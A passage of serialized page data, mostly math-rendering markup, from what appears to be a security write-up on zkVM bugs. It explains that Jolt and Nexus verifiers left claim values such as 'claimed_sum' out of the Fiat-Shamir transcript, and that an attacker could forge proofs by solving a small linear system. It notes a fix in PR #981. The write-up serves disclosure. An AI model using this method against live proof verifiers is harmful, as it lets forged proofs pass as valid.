13921,113925,113930,113935,113939],{"type":19,"tag":168,"props":113922,"children":113924},{"className":113923,"style":112589},[1433],[],{"type":19,"tag":168,"props":113926,"children":113928},{"className":113927},[1439,19043],[113929],{"type":24,"value":269},{"type":19,"tag":168,"props":113931,"children":113933},{"className":113932},[1552],[113934],{"type":24,"value":1555},{"type":19,"tag":168,"props":113936,"children":113938},{"className":113937,"style":1559},[1520],[],{"type":19,"tag":168,"props":113940,"children":113942},{"className":113941},[1439,19043],[113943],{"type":24,"value":621},{"type":24,"value":113945}," are determined by the transcript (independent of ",{"type":19,"tag":27,"props":113947,"children":113949},{"className":113948},[1411,1412],[113950],{"type":19,"tag":168,"props":113951,"children":113953},{"className":113952},[1417],[113954],{"type":19,"tag":168,"props":113955,"children":113957},{"className":113956,"ariaHidden":1423},[1422],[113958],{"type":19,"tag":168,"props":113959,"children":113961},{"className":113960},[1428],[113962,113966],{"type":19,"tag":168,"props":113963,"children":113965},{"className":113964,"style":19038},[1433],[],{"type":19,"tag":168,"props":113967,"children":113969},{"className":113968,"style":90769},[1439,19043],[113970],{"type":24,"value":90772},{"type":24,"value":113972},"). The verifier checks that ",{"type":19,"tag":27,"props":113974,"children":113976},{"className":113975},[1411,1412],[113977],{"type":19,"tag":168,"props":113978,"children":113980},{"className":113979},[1417],[113981],{"type":19,"tag":168,"props":113982,"children":113984},{"className":113983,"ariaHidden":1423},[1422],[113985,114071],{"type":19,"tag":168,"props":113986,"children":113988},{"className":113987},[1428],[113989,113993,114058,114062,114067],{"type":19,"tag":168,"props":113990,"children":113992},{"className":113991,"style":108531},[1433],[],{"type":19,"tag":168,"props":113994,"children":113996},{"className":113995},[1439],[113997,114002],{"type":19,"tag":168,"props":113998,"children":114000},{"className":113999,"style":19575},[1439,19043],[114001],{"type":24,"value":113763},{"type":19,"tag":168,"props":114003,"children":114005},{"className":114004},[1456],[114006],{"type":19,"tag":168,"props":114007,"children":114009},{"className":114008},[1461,19097],[114010,114047],{"type":19,"tag":168,"props":114011,"children":114013},{"className":114012},[1466],[114014,114042],{"type":19,"tag":168,"props":114015,"children":114017},{"className":114016,"style":113779},[1471],[114018],{"type":19,"tag":168,"props":114019,"children":114020},{"style":113783},[114021,114025],{"type":19,"tag":168,"props":114022,"children":114024},{"className":114023,"style":1481},[1480],[],{"type":19,"tag":168,"props":114026,"children":114028},{"className":114027},[1486,1487,1488,1489],[114029],{"type":19,"tag":168,"props":114030,"children":114032},{"className":114031},[1439,1489],[114033],{"type":19,"tag":168,"props":114034,"children":114036},{"className":114035},[1439,24,1489],[114037],{"type":19,"tag":168,"props":114038,"children":114040},{"className":114039},[1439,1489],[114041],{"type":24,"value":113806},{"type":19,"tag":168,"props":114043,"children":114045},{"className":114044},[19200],[114046],{"type":24,"value":19203},{"type":19,"tag":168,"props":114048,"children":114050},{"className":114049},[1466],[114051],{"type":19,"tag":168,"props":114052,"children":114054},{"className":114053,"style":90618},[1471],[114055],{"type":19,"tag":168,"props":114056,"children":114057},{},[],{"type":19,"tag":168,"props":114059,"children":114061},{"className":114060,"style":1618},[1520],[],{"type":19,"tag":168,"props":114063,"children":114065},{"className":114064},[1623],[114066],{"type":24,"value":486},{"type":19,"tag":168,"props":114068,"children":114070},{"className":114069,"style":1618},[1520],[],{"type":19,"tag":168,"props":114072,"children":114074},{"className":114073},[1428],[114075,114079,114089,114094],{"type":19,"tag":168,"props":114076,"children":114078},{"className":114077,"style":91948},[1433],[],{"type":19,"tag":168,"props":114080,"children":114082},{"className":114081},[1439,24],[114083],{"type":19,"tag":168,"props":114084,"children":114086},{"className":114085},[1439],[114087],{"type":24,"value":114088},"expected",{"type":19,"tag":168,"props":114090,"children":114092},{"className":114091,"style":90535},[1439],[114093],{"type":24,"value":476},{"type":19,"tag":168,"props":114095,"children":114097},{"className":114096},[1439,24],[114098],{"type":19,"tag":168,"props":114099,"children":114101},{"className":114100},[1439],[114102],{"type":24,"value":35023},{"type":24,"value":114104}," (from PCS opening), this becomes ",{"type":19,"tag":27,"props":114106,"children":114108},{"className":114107},[1411,1412],[114109],{"type":19,"tag":168,"props":114110,"children":114112},{"className":114111},[1417],[114113],{"type":19,"tag":168,"props":114114,"children":114116},{"className":114115,"ariaHidden":1423},[1422],[114117,114143,114169,114195],{"type":19,"tag":168,"props":114118,"children":114120},{"className":114119},[1428],[114121,114125,114130,114134,114139],{"type":19,"tag":168,"props":114122,"children":114124},{"className":114123,"style":112617},[1433],[],{"type":19,"tag":168,"props":114126,"children":114128},{"className":114127},[1439,19043],[114129],{"type":24,"value":269},{"type":19,"tag":168,"props":114131,"children":114133},{"className":114132,"style":1521},[1520],[],{"type":19,"tag":168,"props":114135,"children":114137},{"className":114136},[1526],[114138],{"type":24,"value":108796},{"type":19,"tag":168,"props":114140,"children":114142},{"className":114141,"style":1521},[1520],[],{"type":19,"tag":168,"props":114144,"children":114146},{"className":114145},[1428],[114147,114151,114156,114160,114165],{"type":19,"tag":168,"props":114148,"children":114150},{"className":114149,"style":112646},[1433],[],{"type":19,"tag":168,"props":114152,"children":114154},{"className":114153,"style":90769},[1439,19043],[114155],{"type":24,"value":90772},{"type":19,"tag":168,"props":114157,"children":114159},{"className":114158,"style":1521},[1520],[],{"type":19,"tag":168,"props":114161,"children":114163},{"className":114162},[1526],[114164],{"type":24,"value":1811},{"type":19,"tag":168,"props":114166,"children":114168},{"className":114167,"style":1521},[1520],[],{"type":19,"tag":168,"props":114170,"children":114172},{"className":114171},[1428],[114173,114177,114182,114186,114191],{"type":19,"tag":168,"props":114174,"children":114176},{"className":114175,"style":90450},[1433],[],{"type":19,"tag":168,"props":114178,"children":114180},{"className":114179},[1439,19043],[114181],{"type":24,"value":621},{"type":19,"tag":168,"props":114183,"children":114185},{"className":114184,"style":1618},[1520],[],{"type":19,"tag":168,"props":114187,"children":114189},{"className":114188},[1623],[114190],{"type":24,"value":486},{"type":19,"tag":168,"props":114192,"children":114194},{"className":114193,"style":1618},[1520],[],{"type":19,"tag":168,"props":114196,"children":114198},{"className":114197},[1428],[114199,114203,114212,114217],{"type":19,"tag":168,"props":114200,"children":114202},{"className":114201,"style":91948},[1433],[],{"type":19,"tag":168,"props":114204,"children":114206},{"className":114205},[1439,24],[114207],{"type":19,"tag":168,"props":114208,"children":114210},{"className":114209},[1439],[114211],{"type":24,"value":114088},{"type":19,"tag":168,"props":114213,"children":114215},{"className":114214,"style":90535},[1439],[114216],{"type":24,"value":476},{"type":19,"tag":168,"props":114218,"children":114220},{"className":114219},[1439,24],[114221],{"type":19,"tag":168,"props":114222,"children":114224},{"className":114223},[1439],[114225],{"type":24,"value":35023},{"type":24,"value":948},{"type":19,"tag":20,"props":114228,"children":114229},{},[114230],{"type":24,"value":114231},"Because multiple claims are coupled across verification stages, the attacker may need to adjust a small set of claim values simultaneously to satisfy all affected constraints.",{"type":19,"tag":20,"props":114233,"children":114234},{},[114235],{"type":24,"value":114236},"This can be exploited by solving a small linear system over a handful of unbound claim values so all affected checks pass simultaneously.",{"type":19,"tag":20,"props":114238,"children":114239},{},[114240,114245,114247],{"type":19,"tag":51,"props":114241,"children":114242},{},[114243],{"type":24,"value":114244},"Status:",{"type":24,"value":114246}," Fixed on October 3, 2025 via ",{"type":19,"tag":269,"props":114248,"children":114251},{"href":114249,"rel":114250},"https://github.com/a16z/jolt/pull/981",[273],[114252],{"type":24,"value":114253},"PR #981",{"type":19,"tag":16245,"props":114255,"children":114256},{},[],{"type":19,"tag":7050,"props":114258,"children":114260},{"id":114259},"nexus",[114261],{"type":24,"value":105353},{"type":19,"tag":20,"props":114263,"children":114264},{},[114265],{"type":24,"value":114266},"Nexus is a zkVM built on the Stwo prover (from StarkWare). It uses STARKs with logup lookup arguments.",{"type":19,"tag":20,"props":114268,"children":114269},{},[114270,114272,114277],{"type":24,"value":114271},"Nexus splits verification into ",{"type":19,"tag":51,"props":114273,"children":114274},{},[114275],{"type":24,"value":114276},"components",{"type":24,"value":114278}," such as instruction execution, memory, registers, etc. Each component handles a subset of constraints.",{"type":19,"tag":20,"props":114280,"children":114281},{},[114282,114284,114289],{"type":24,"value":114283},"Each component emits and consumes lookup tuples. The component's ",{"type":19,"tag":27,"props":114285,"children":114287},{"className":114286},[],[114288],{"type":24,"value":112398},{"type":24,"value":114290}," summarizes its net contribution:",{"type":19,"tag":20,"props":114292,"children":114293},{},[114294],{"type":19,"tag":27,"props":114295,"children":114297},{"className":114296},[1411,1412],[114298],{"type":19,"tag":168,"props":114299,"children":114301},{"className":114300},[1417],[114302],{"type":19,"tag":168,"props":114303,"children":114305},{"className":114304,"ariaHidden":1423},[1422],[114306,114402,114651],{"type":19,"tag":168,"props":114307,"children":114309},{"className":114308},[1428],[114310,114314,114323,114328,114389,114393,114398],{"type":19,"tag":168,"props":114311,"children":114313},{"className":114312,"style":91948},[1433],[],{"type":19,"tag":168,"props":114315,"children":114317},{"className":114316},[1439,24],[114318],{"type":19,"tag":168,"props":114319,"children":114321},{"className":114320},[1439],[114322],{"type":24,"value":111627},{"type":19,"tag":168,"props":114324,"children":114326},{"className":114325,"style":90535},[1439],[114327],{"type":24,"value":476},{"type":19,"tag":168,"props":114329,"children":114331},{"className":114330},[1439],[114332,114341],{"type":19,"tag":168,"props":114333,"children":114335},{"className":114334},[1439,24],[114336],{"type":19,"tag":168,"props":114337,"children":114339},{"className":114338},[1439],[114340],{"type":24,"value":74121},{"type":19,"tag":168,"props":114342,"children":114344},{"className":114343},[1456],[114345],{"type":19,"tag":168,"props":114346,"children":114348},{"className":114347},[1461,19097],[114349,114378],{"type":19,"tag":168,"props":114350,"children":114352},{"className":114351},[1466],[114353,114373],{"type":19,"tag":168,"props":114354,"children":114356},{"className":114355,"style":91064},[1471],[114357],{"type":19,"tag":168,"props":114358,"children":114359},{"style":111664},[114360,114364],{"type":19,"tag":168,"props":114361,"children":114363},{"className":114362,"style":1481},[1480],[],{"type":19,"tag":168,"props":114365,"children":114367},{"className":114366},[1486,1487,1488,1489],[114368],{"type":19,"tag":168,"props":114369,"children":114371},{"className":114370},[1439,19043,1489],[114372],{"type":24,"value":1157},{"type":19,"tag":168,"props":114374,"children":114376},{"className":114375},[19200],[114377],{"type":24,"value":19203},{"type":19,"tag":168,"props":114379,"children":114381},{"className":114380},[1466],[114382],{"type":19,"tag":168,"props":114383,"children":114385},{"className":114384,"style":90618},[1471],[114386],{"type":19,"tag":168,"props":114387,"children":114388},{},[],{"type":19,"tag":168,"props":114390,"children":114392},{"className":114391,"style":1618},[1520],[],{"type":19,"tag":168,"props":114394,"children":114396},{"className":114395},[1623],[114397],{"type":24,"value":486},{"type":19,"tag":168,"props":114399,"children":114401},{"className":114400,"style":1618},[1520],[],{"type":19,"tag":168,"props":114403,"children":114405},{"className":114404},[1428],[114406,114411,114468,114472,114638,114642,114647],{"type":19,"tag":168,"props":114407,"children":114410},{"className":114408,"style":114409},[1433],"height:1.4734em;vertical-align:-0.6283em;",[],{"type":19,"tag":168,"props":114412,"children":114414},{"className":114413},[19079],[114415,114420],{"type":19,"tag":168,"props":114416,"children":114418},{"className":114417,"style":19086},[19079,19084,19085],[114419],{"type":24,"value":106329},{"type":19,"tag":168,"props":114421,"children":114423},{"className":114422},[1456],[114424],{"type":19,"tag":168,"props":114425,"children":114427},{"className":114426},[1461,19097],[114428,114457],{"type":19,"tag":168,"props":114429,"children":114431},{"className":114430},[1466],[114432,114452],{"type":19,"tag":168,"props":114433,"children":114435},{"className":114434,"style":111741},[1471],[114436],{"type":19,"tag":168,"props":114437,"children":114438},{"style":19110},[114439,114443],{"type":19,"tag":168,"props":114440,"children":114442},{"className":114441,"style":1481},[1480],[],{"type":19,"tag":168,"props":114444,"children":114446},{"className":114445},[1486,1487,1488,1489],[114447],{"type":19,"tag":168,"props":114448,"children":114450},{"className":114449,"style":111757},[1439,19043,1489],[114451],{"type":24,"value":6094},{"type":19,"tag":168,"props":114453,"children":114455},{"className":114454},[19200],[114456],{"type":24,"value":19203},{"type":19,"tag":168,"props":114458,"children":114460},{"className":114459},[1466],[114461],{"type":19,"tag":168,"props":114462,"children":114464},{"className":114463,"style":111772},[1471],[114465],{"type":19,"tag":168,"props":114466,"children":114467},{},[],{"type":19,"tag":168,"props":114469,"children":114471},{"className":114470,"style":1559},[1520],[],{"type":19,"tag":168,"props":114473,"children":114475},{"className":114474},[1439],[114476,114480,114634],{"type":19,"tag":168,"props":114477,"children":114479},{"className":114478},[19172,111052],[],{"type":19,"tag":168,"props":114481,"children":114483},{"className":114482},[111057],[114484],{"type":19,"tag":168,"props":114485,"children":114487},{"className":114486},[1461,19097],[114488,114622],{"type":19,"tag":168,"props":114489,"children":114491},{"className":114490},[1466],[114492,114617],{"type":19,"tag":168,"props":114493,"children":114495},{"className":114494,"style":111070},[1471],[114496,114586,114597],{"type":19,"tag":168,"props":114497,"children":114498},{"style":111074},[114499,114503],{"type":19,"tag":168,"props":114500,"children":114502},{"className":114501,"style":109705},[1480],[],{"type":19,"tag":168,"props":114504,"children":114506},{"className":114505},[1486,1487,1488,1489],[114507],{"type":19,"tag":168,"props":114508,"children":114510},{"className":114509},[1439,1489],[114511,114516,114521],{"type":19,"tag":168,"props":114512,"children":114514},{"className":114513,"style":111091},[1439,19043,1489],[114515],{"type":24,"value":111094},{"type":19,"tag":168,"props":114517,"children":114519},{"className":114518},[1526,1489],[114520],{"type":24,"value":1500},{"type":19,"tag":168,"props":114522,"children":114524},{"className":114523},[1439,1489],[114525,114535],{"type":19,"tag":168,"props":114526,"children":114528},{"className":114527},[1439,24,1489],[114529],{"type":19,"tag":168,"props":114530,"children":114532},{"className":114531},[1439,1489],[114533],{"type":24,"value":114534},"produced",{"type":19,"tag":168,"props":114536,"children":114538},{"className":114537},[1456],[114539],{"type":19,"tag":168,"props":114540,"children":114542},{"className":114541},[1461,19097],[114543,114574],{"type":19,"tag":168,"props":114544,"children":114546},{"className":114545},[1466],[114547,114569],{"type":19,"tag":168,"props":114548,"children":114551},{"className":114549,"style":114550},[1471],"height:0.2052em;",[114552],{"type":19,"tag":168,"props":114553,"children":114555},{"style":114554},"top:-2.2341em;margin-right:0.0714em;",[114556,114560],{"type":19,"tag":168,"props":114557,"children":114559},{"className":114558,"style":106394},[1480],[],{"type":19,"tag":168,"props":114561,"children":114563},{"className":114562},[1486,106399,106400,1489],[114564],{"type":19,"tag":168,"props":114565,"children":114567},{"className":114566,"style":111757},[1439,19043,1489],[114568],{"type":24,"value":6094},{"type":19,"tag":168,"props":114570,"children":114572},{"className":114571},[19200],[114573],{"type":24,"value":19203},{"type":19,"tag":168,"props":114575,"children":114577},{"className":114576},[1466],[114578],{"type":19,"tag":168,"props":114579,"children":114582},{"className":114580,"style":114581},[1471],"height:0.4048em;",[114583],{"type":19,"tag":168,"props":114584,"children":114585},{},[],{"type":19,"tag":168,"props":114587,"children":114588},{"style":111107},[114589,114593],{"type":19,"tag":168,"props":114590,"children":114592},{"className":114591,"style":109705},[1480],[],{"type":19,"tag":168,"props":114594,"children":114596},{"className":114595,"style":111117},[111116],[],{"type":19,"tag":168,"props":114598,"children":114599},{"style":111121},[114600,114604],{"type":19,"tag":168,"props":114601,"children":114603},{"className":114602,"style":109705},[1480],[],{"type":19,"tag":168,"props":114605,"children":114607},{"className":114606},[1486,1487,1488,1489],[114608],{"type":19,"tag":168,"props":114609,"children":114611},{"className":114610},[1439,1489],[114612],{"type":19,"tag":168,"props":114613,"children":114615},{"className":114614},[1439,1489],[114616],{"type":24,"value":1442},{"type":19,"tag":168,"props":114618,"children":114620},{"className":114619},[19200],[114621],{"type":24,"value":19203},{"type":19,"tag":168,"props":114623,"children":114625},{"className":114624},[1466],[114626],{"type":19,"tag":168,"props":114627,"children":114630},{"className":114628,"style":114629},[1471],"height:0.6283em;",[114631],{"type":19,"tag":168,"props":114632,"children":114633},{},[],{"type":19,"tag":168,"props":114635,"children":114637},{"className":114636},[19194,111052],[],{"type":19,"tag":168,"props":114639,"children":114641},{"className":114640,"style":1521},[1520],[],{"type":19,"tag":168,"props":114643,"children":114645},{"className":114644},[1526],[114646],{"type":24,"value":1500},{"type":19,"tag":168,"props":114648,"children":114650},{"className":114649,"style":1521},[1520],[],{"type":19,"tag":168,"props":114652,"children":114654},{"className":114653},[1428],[114655,114659,114716,114720],{"type":19,"tag":168,"props":114656,"children":114658},{"className":114657,"style":111966},[1433],[],{"type":19,"tag":168,"props":114660,"children":114662},{"className":114661},[19079],[114663,114668],{"type":19,"tag":168,"props":114664,"children":114666},{"className":114665,"style":19086},[19079,19084,19085],[114667],{"type":24,"value":106329},{"type":19,"tag":168,"props":114669,"children":114671},{"className":114670},[1456],[114672],{"type":19,"tag":168,"props":114673,"children":114675},{"className":114674},[1461,19097],[114676,114705],{"type":19,"tag":168,"props":114677,"children":114679},{"className":114678},[1466],[114680,114700],{"type":19,"tag":168,"props":114681,"children":114683},{"className":114682,"style":111206},[1471],[114684],{"type":19,"tag":168,"props":114685,"children":114686},{"style":19110},[114687,114691],{"type":19,"tag":168,"props":114688,"children":114690},{"className":114689,"style":1481},[1480],[],{"type":19,"tag":168,"props":114692,"children":114694},{"className":114693},[1486,1487,1488,1489],[114695],{"type":19,"tag":168,"props":114696,"children":114698},{"className":114697,"style":91964},[1439,19043,1489],[114699],{"type":24,"value":86173},{"type":19,"tag":168,"props":114701,"children":114703},{"className":114702},[19200],[114704],{"type":24,"value":19203},{"type":19,"tag":168,"props":114706,"children":114708},{"className":114707},[1466],[114709],{"type":19,"tag":168,"props":114710,"children":114712},{"className":114711,"style":112021},[1471],[114713],{"type":19,"tag":168,"props":114714,"children":114715},{},[],{"type":19,"tag":168,"props":114717,"children":114719},{"className":114718,"style":1559},[1520],[],{"type":19,"tag":168,"props":114721,"children":114723},{"className":114722},[1439],[114724,114728,114878],{"type":19,"tag":168,"props":114725,"children":114727},{"className":114726},[19172,111052],[],{"type":19,"tag":168,"props":114729,"children":114731},{"className":114730},[111057],[114732],{"type":19,"tag":168,"props":114733,"children":114735},{"className":114734},[1461,19097],[114736,114867],{"type":19,"tag":168,"props":114737,"children":114739},{"className":114738},[1466],[114740,114862],{"type":19,"tag":168,"props":114741,"children":114743},{"className":114742,"style":111070},[1471],[114744,114831,114842],{"type":19,"tag":168,"props":114745,"children":114746},{"style":111074},[114747,114751],{"type":19,"tag":168,"props":114748,"children":114750},{"className":114749,"style":109705},[1480],[],{"type":19,"tag":168,"props":114752,"children":114754},{"className":114753},[1486,1487,1488,1489],[114755],{"type":19,"tag":168,"props":114756,"children":114758},{"className":114757},[1439,1489],[114759,114764,114769],{"type":19,"tag":168,"props":114760,"children":114762},{"className":114761,"style":111091},[1439,19043,1489],[114763],{"type":24,"value":111094},{"type":19,"tag":168,"props":114765,"children":114767},{"className":114766},[1526,1489],[114768],{"type":24,"value":1500},{"type":19,"tag":168,"props":114770,"children":114772},{"className":114771},[1439,1489],[114773,114783],{"type":19,"tag":168,"props":114774,"children":114776},{"className":114775},[1439,24,1489],[114777],{"type":19,"tag":168,"props":114778,"children":114780},{"className":114779},[1439,1489],[114781],{"type":24,"value":114782},"consumed",{"type":19,"tag":168,"props":114784,"children":114786},{"className":114785},[1456],[114787],{"type":19,"tag":168,"props":114788,"children":114790},{"className":114789},[1461,19097],[114791,114820],{"type":19,"tag":168,"props":114792,"children":114794},{"className":114793},[1466],[114795,114815],{"type":19,"tag":168,"props":114796,"children":114798},{"className":114797,"style":109866},[1471],[114799],{"type":19,"tag":168,"props":114800,"children":114801},{"style":112111},[114802,114806],{"type":19,"tag":168,"props":114803,"children":114805},{"className":114804,"style":106394},[1480],[],{"type":19,"tag":168,"props":114807,"children":114809},{"className":114808},[1486,106399,106400,1489],[114810],{"type":19,"tag":168,"props":114811,"children":114813},{"className":114812,"style":91964},[1439,19043,1489],[114814],{"type":24,"value":86173},{"type":19,"tag":168,"props":114816,"children":114818},{"className":114817},[19200],[114819],{"type":24,"value":19203},{"type":19,"tag":168,"props":114821,"children":114823},{"className":114822},[1466],[114824],{"type":19,"tag":168,"props":114825,"children":114827},{"className":114826,"style":112138},[1471],[114828],{"type":19,"tag":168,"props":114829,"children":114830},{},[],{"type":19,"tag":168,"props":114832,"children":114833},{"style":111107},[114834,114838],{"type":19,"tag":168,"props":114835,"children":114837},{"className":114836,"style":109705},[1480],[],{"type":19,"tag":168,"props":114839,"children":114841},{"className":114840,"style":111117},[111116],[],{"type":19,"tag":168,"props":114843,"children":114844},{"style":111121},[114845,114849],{"type":19,"tag":168,"props":114846,"children":114848},{"className":114847,"style":109705},[1480],[],{"type":19,"tag":168,"props":114850,"children":114852},{"className":114851},[1486,1487,1488,1489],[114853],{"type":19,"tag":168,"props":114854,"children":114856},{"className":114855},[1439,1489],[114857],{"type":19,"tag":168,"props":114858,"children":114860},{"className":114859},[1439,1489],[114861],{"type":24,"value":1442},{"type":19,"tag":168,"props":114863,"children":114865},{"className":114864},[19200],[114866],{"type":24,"value":19203},{"type":19,"tag":168,"props":114868,"children":114870},{"className":114869},[1466],[114871],{"type":19,"tag":168,"props":114872,"children":114874},{"className":114873,"style":112186},[1471],[114875],{"type":19,"tag":168,"props":114876,"children":114877},{},[],{"type":19,"tag":168,"props":114879,"children":114881},{"className":114880},[19194,111052],[],{"type":19,"tag":20,"props":114883,"children":114884},{},[114885,114887,114892],{"type":24,"value":114886},"All ",{"type":19,"tag":27,"props":114888,"children":114890},{"className":114889},[],[114891],{"type":24,"value":112398},{"type":24,"value":114893}," values must sum to zero (everything produced is consumed).",{"type":19,"tag":20,"props":114895,"children":114896},{},[114897,114899,114904],{"type":24,"value":114898},"All constraints are combined into a composition polynomial. The verifier then checks this polynomial at a random point outside the execution domain, known as an ",{"type":19,"tag":51,"props":114900,"children":114901},{},[114902],{"type":24,"value":114903},"OODS (Out-of-Domain Sampling)",{"type":24,"value":114905}," test.",{"type":19,"tag":20,"props":114907,"children":114908},{},[114909],{"type":19,"tag":51,"props":114910,"children":114911},{},[114912],{"type":24,"value":112950},{"type":19,"tag":158,"props":114914,"children":114916},{"code":114915},"NexusProof {\n stark_proof: {\n commitments: [Merkle roots of trace columns]\n sampled_values: [polynomial evaluations]\n fri_proof: [low-degree test proof]\n }\n claimed_sum: [FieldElement; NUM_COMPONENTS] // \u003C- VULNERABLE\n log_size: [component sizes]\n}\n",[114917],{"type":19,"tag":27,"props":114918,"children":114919},{"__ignoreMap":7},[114920],{"type":24,"value":114915},{"type":19,"tag":20,"props":114922,"children":114923},{},[114924,114926,114931],{"type":24,"value":114925},"The",{"type":19,"tag":27,"props":114927,"children":114929},{"className":114928},[],[114930],{"type":24,"value":112398},{"type":24,"value":114932}," values are checked to be of correct length, that they sum to zero, and are used in the final composition polynomial. But at no point were they absorbed into the transcript.",{"type":19,"tag":20,"props":114934,"children":114935},{},[114936],{"type":19,"tag":1344,"props":114937,"children":114940},{"alt":114938,"src":114939},"6_nexus_flow","/posts/zkvms-unfaithful-claims/6_nexus_flow.svg",[],{"type":19,"tag":20,"props":114942,"children":114943},{},[114944,114946,114955],{"type":24,"value":114945},"The OODS check computes the composition polynomial, which includes logup boundary constraints. These constraints are ",{"type":19,"tag":51,"props":114947,"children":114948},{},[114949,114950],{"type":24,"value":109405},{"type":19,"tag":27,"props":114951,"children":114953},{"className":114952},[],[114954],{"type":24,"value":112398},{"type":24,"value":1922},{"type":19,"tag":20,"props":114957,"children":114958},{},[114959],{"type":24,"value":114960},"The composition polynomial is a random linear combination of constraints:",{"type":19,"tag":20,"props":114962,"children":114963},{},[114964],{"type":19,"tag":27,"props":114965,"children":114967},{"className":114966},[1411,1412],[114968],{"type":19,"tag":168,"props":114969,"children":114971},{"className":114970},[1417],[114972],{"type":19,"tag":168,"props":114973,"children":114975},{"className":114974,"ariaHidden":1423},[1422],[114976,115017,115156],{"type":19,"tag":168,"props":114977,"children":114979},{"className":114978},[1428],[114980,114984,114989,114994,114999,115004,115008,115013],{"type":19,"tag":168,"props":114981,"children":114983},{"className":114982,"style":1541},[1433],[],{"type":19,"tag":168,"props":114985,"children":114987},{"className":114986,"style":19575},[1439,19043],[114988],{"type":24,"value":113763},{"type":19,"tag":168,"props":114990,"children":114992},{"className":114991},[19172],[114993],{"type":24,"value":500},{"type":19,"tag":168,"props":114995,"children":114997},{"className":114996},[1439,19043],[114998],{"type":24,"value":16729},{"type":19,"tag":168,"props":115000,"children":115002},{"className":115001},[19194],[115003],{"type":24,"value":524},{"type":19,"tag":168,"props":115005,"children":115007},{"className":115006,"style":1618},[1520],[],{"type":19,"tag":168,"props":115009,"children":115011},{"className":115010},[1623],[115012],{"type":24,"value":486},{"type":19,"tag":168,"props":115014,"children":115016},{"className":115015,"style":1618},[1520],[],{"type":19,"tag":168,"props":115018,"children":115020},{"className":115019},[1428],[115021,115025,115082,115086,115143,115147,115152],{"type":19,"tag":168,"props":115022,"children":115024},{"className":115023,"style":113167},[1433],[],{"type":19,"tag":168,"props":115026,"children":115028},{"className":115027},[19079],[115029,115034],{"type":19,"tag":168,"props":115030,"children":115032},{"className":115031,"style":19086},[19079,19084,19085],[115033],{"type":24,"value":106329},{"type":19,"tag":168,"props":115035,"children":115037},{"className":115036},[1456],[115038],{"type":19,"tag":168,"props":115039,"children":115041},{"className":115040},[1461,19097],[115042,115071],{"type":19,"tag":168,"props":115043,"children":115045},{"className":115044},[1466],[115046,115066],{"type":19,"tag":168,"props":115047,"children":115049},{"className":115048,"style":111741},[1471],[115050],{"type":19,"tag":168,"props":115051,"children":115052},{"style":19110},[115053,115057],{"type":19,"tag":168,"props":115054,"children":115056},{"className":115055,"style":1481},[1480],[],{"type":19,"tag":168,"props":115058,"children":115060},{"className":115059},[1486,1487,1488,1489],[115061],{"type":19,"tag":168,"props":115062,"children":115064},{"className":115063},[1439,19043,1489],[115065],{"type":24,"value":1157},{"type":19,"tag":168,"props":115067,"children":115069},{"className":115068},[19200],[115070],{"type":24,"value":19203},{"type":19,"tag":168,"props":115072,"children":115074},{"className":115073},[1466],[115075],{"type":19,"tag":168,"props":115076,"children":115078},{"className":115077,"style":112021},[1471],[115079],{"type":19,"tag":168,"props":115080,"children":115081},{},[],{"type":19,"tag":168,"props":115083,"children":115085},{"className":115084,"style":1559},[1520],[],{"type":19,"tag":168,"props":115087,"children":115089},{"className":115088},[1439],[115090,115095],{"type":19,"tag":168,"props":115091,"children":115093},{"className":115092,"style":112622},[1439,19043],[115094],{"type":24,"value":112625},{"type":19,"tag":168,"props":115096,"children":115098},{"className":115097},[1456],[115099],{"type":19,"tag":168,"props":115100,"children":115102},{"className":115101},[1461,19097],[115103,115132],{"type":19,"tag":168,"props":115104,"children":115106},{"className":115105},[1466],[115107,115127],{"type":19,"tag":168,"props":115108,"children":115110},{"className":115109,"style":91064},[1471],[115111],{"type":19,"tag":168,"props":115112,"children":115113},{"style":113257},[115114,115118],{"type":19,"tag":168,"props":115115,"children":115117},{"className":115116,"style":1481},[1480],[],{"type":19,"tag":168,"props":115119,"children":115121},{"className":115120},[1486,1487,1488,1489],[115122],{"type":19,"tag":168,"props":115123,"children":115125},{"className":115124},[1439,19043,1489],[115126],{"type":24,"value":1157},{"type":19,"tag":168,"props":115128,"children":115130},{"className":115129},[19200],[115131],{"type":24,"value":19203},{"type":19,"tag":168,"props":115133,"children":115135},{"className":115134},[1466],[115136],{"type":19,"tag":168,"props":115137,"children":115139},{"className":115138,"style":90618},[1471],[115140],{"type":19,"tag":168,"props":115141,"children":115142},{},[],{"type":19,"tag":168,"props":115144,"children":115146},{"className":115145,"style":1521},[1520],[],{"type":19,"tag":168,"props":115148,"children":115150},{"className":115149},[1526],[115151],{"type":24,"value":108796},{"type":19,"tag":168,"props":115153,"children":115155},{"className":115154,"style":1521},[1520],[],{"type":19,"tag":168,"props":115157,"children":115159},{"className":115158},[1428],[115160,115164,115226,115231,115236],{"type":19,"tag":168,"props":115161,"children":115163},{"className":115162,"style":1541},[1433],[],{"type":19,"tag":168,"props":115165,"children":115167},{"className":115166},[1439],[115168,115178],{"type":19,"tag":168,"props":115169,"children":115171},{"className":115170},[1439,24],[115172],{"type":19,"tag":168,"props":115173,"children":115175},{"className":115174},[1439],[115176],{"type":24,"value":115177},"constraint",{"type":19,"tag":168,"props":115179,"children":115181},{"className":115180},[1456],[115182],{"type":19,"tag":168,"props":115183,"children":115185},{"className":115184},[1461,19097],[115186,115215],{"type":19,"tag":168,"props":115187,"children":115189},{"className":115188},[1466],[115190,115210],{"type":19,"tag":168,"props":115191,"children":115193},{"className":115192,"style":91064},[1471],[115194],{"type":19,"tag":168,"props":115195,"children":115196},{"style":111664},[115197,115201],{"type":19,"tag":168,"props":115198,"children":115200},{"className":115199,"style":1481},[1480],[],{"type":19,"tag":168,"props":115202,"children":115204},{"className":115203},[1486,1487,1488,1489],[115205],{"type":19,"tag":168,"props":115206,"children":115208},{"className":115207},[1439,19043,1489],[115209],{"type":24,"value":1157},{"type":19,"tag":168,"props":115211,"children":115213},{"className":115212},[19200],[115214],{"type":24,"value":19203},{"type":19,"tag":168,"props":115216,"children":115218},{"className":115217},[1466],[115219],{"type":19,"tag":168,"props":115220,"children":115222},{"className":115221,"style":90618},[1471],[115223],{"type":19,"tag":168,"props":115224,"children":115225},{},[],{"type":19,"tag":168,"props":115227,"children":115229},{"className":115228},[19172],[115230],{"type":24,"value":500},{"type":19,"tag":168,"props":115232,"children":115234},{"className":115233},[1439,19043],[115235],{"type":24,"value":16729},{"type":19,"tag":168,"props":115237,"children":115239},{"className":115238},[19194],[115240],{"type":24,"value":524},{"type":19,"tag":20,"props":115242,"children":115243},{},[115244,115246,115251,115253,115258],{"type":24,"value":115245},"Since each constraint is linear in its 